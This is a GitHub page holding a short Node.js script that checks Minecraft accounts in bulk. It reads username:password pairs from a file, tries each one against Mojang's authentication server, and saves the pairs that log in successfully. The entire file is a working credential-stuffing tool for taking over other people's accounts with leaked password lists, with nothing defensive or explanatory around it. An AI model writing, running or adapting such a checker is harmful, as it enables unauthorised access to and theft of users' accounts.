-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathindex.js
73 lines (59 loc) · 1.81 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
//Dependencies
const Request = require("request")
const Delay = require("delay")
const Fs = require("fs")
//Variables
const Self_Args = process.argv.slice(2)
//Functions
async function Initiate_A_Request(username, password){
await Delay(1000)
Request.post("https://authserver.mojang.com/authenticate", {
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ "agent": { "name": "Minecraft" }, "username": username, "password": password })
}, function(err, res, body){
if(err){
console.log(`Invalid account ${username}:${password}`)
return
}
if(body.indexOf("errorMessage") != -1){
console.log(`Invalid account ${username}:${password}`)
}else{
const data = Fs.readFileSync(Self_Args[1], "utf8")
if(data.length == 0){
Fs.writeFileSync(Self_Args[1], data, "utf8")
}else{
Fs.writeFileSync(Self_Args[1], `${data}\n${username}:${password}`, "utf8")
}
console.log(`Valid account ${username}:${password}`)
}
})
}
//Main
if(!Self_Args.length){
console.log(`node index.js <input> <output>
Example: node index.js accounts.txt output.txt`)
process.exit()
}
if(!Self_Args[0]){
console.log("Invalid input.")
process.exit()
}
if(!Self_Args[1]){
console.log("Invalid output.")
process.exit()
}
if(!Fs.existsSync(Self_Args[0])){
console.log("Invalid input.")
process.exit()
}
Fs.writeFileSync(Self_Args[1], "", "utf8")
const Accounts = Fs.readFileSync(Self_Args[0], "utf8").split("\n")
if(Accounts.length == 0){
console.log("No accounts found in the file.")
process.exit()
}
for( i in Accounts ){
Initiate_A_Request(Accounts[i].split(":")[0], Accounts[i].split(":")[1])
}